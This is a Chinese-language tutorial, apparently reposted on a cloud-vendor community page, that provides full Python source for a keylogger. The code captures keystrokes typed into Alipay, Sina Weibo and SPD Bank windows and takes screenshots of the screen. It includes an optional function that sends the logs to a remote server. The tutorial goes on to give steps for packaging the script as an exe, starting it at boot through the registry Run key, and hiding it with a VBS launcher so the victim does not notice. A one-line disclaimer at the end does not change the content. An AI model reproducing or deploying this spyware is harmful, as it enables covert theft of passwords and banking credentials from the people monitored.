Python利用pyHook實現監聽使用者滑鼠與鍵盤事件_python

來源:互聯網
上載者:User

本文以一段簡單的監聽滑鼠、鍵盤事件的程式,實現擷取使用者的輸入(比如登入某些網站的帳號、密碼)的功能。經測試,對於一台“裸奔”的電腦,完全能擷取到使用者輸入的任何資訊;但是如果安裝了殺毒軟體,就夠嗆了。具體實現方法如下:

一、代碼部分:擷取使用者輸入資訊,並與截圖一起儲存到XX目錄下

# -*- coding: utf-8 -*- # import pythoncom import pyHook  import timeimport socketfrom PIL import ImageGrab##如果是遠程監聽某個目標電腦,可以自己架設一個伺服器,然後將擷取到的資訊發回給伺服器#def send_msg_to_server(msg):  host=""  port=1234  buf_size=1024  addr=(host,port)  if len(msg)>0:    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    tcp_client_sock.connect(addr)    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'    tcp_client_sock.sendall(info+msg)    tcp_client_sock.close()    ##也可以將擷取到的資訊儲存到本地檔案下#def write_msg_to_txt(msg):    f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')  f.write(msg+'\r\n')  f.close()def onMouseEvent(event):   # 監聽滑鼠事件     global MSG  if len(MSG)!=0:        #send_msg_to_server(MSG)    write_msg_to_txt(MSG)    MSG=''    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))    #將使用者螢幕截圖,儲存到本地某個目錄下(也可以搞成遠程發送到自己的伺服器)    pic = ImageGrab.grab()    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)  return True def onKeyboardEvent(event):  #監聽鍵盤事件  global MSG  title= event.WindowName.decode('GBK')  #通過網站title,判斷當前網站是否是“監聽目標”  if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發銀行')!=-1:    #Ascii: 8-Backspace , 9-Tab ,13-Enter     if (127 >= event.Ascii > 31) or (event.Ascii == 8):      MSG += chr(event.Ascii)            if (event.Ascii == 9) or (event.Ascii == 13):            #send_msg_to_remote(MSG)      write_msg_to_txt(MSG)      MSG = ''       #螢幕抓圖實現      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))      pic = ImageGrab.grab()      #儲存成為以日期命名的圖片      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)  return True  if __name__ == "__main__":     MSG = ''    #建立hook控制代碼  hm = pyHook.HookManager()  #監控滑鼠  hm.SubscribeMouseLeftDown(onMouseEvent)  hm.HookMouse()  #監控鍵盤  hm.KeyDown = onKeyboardEvent  hm.HookKeyboard()  #迴圈擷取訊息  pythoncom.PumpMessages() 

二、用py2exe將指令碼打包:

建立一個py檔案setup.py,內容如下:

from distutils.core import setupimport py2exesetup(console=["monitor.py"])#setup(windows=["monitor.py"])

命令列執行以下命令:

pythonsetup.pypy2exe

三、將該程式設定為開機自動啟動:

步驟①:

將需要開機啟動的檔案(建立一個捷徑,然後)放到“開始/所有程式/啟動”目錄下

步驟②:

修改註冊表:命令列— regedit ,然後到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

建立一個“字串值”,然後編輯:設定exe檔案所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上兩種方式啟動monitor.exe的話,會彈出一個命令框,顯示監聽日誌資訊,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式)

步驟③:

建立一個 .vbs檔案,內容如下:

setwscriptObj=CreateObject("Wscript.Shell")wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

雙擊運行該vbs檔案,則monitor.exe就在後台啟動了(不會彈出一個大黑框)。
然後參考法①、② 把該vbs設定成開機啟動即可。

補充:

1、該程式涉及到一些模組都需要自己安裝一下;
2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑;
3、本代碼僅為測試樣本,讀者不要將其用於非法用途。

感興趣的讀者可以對本文執行個體加以改進,使之功能更加完善。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.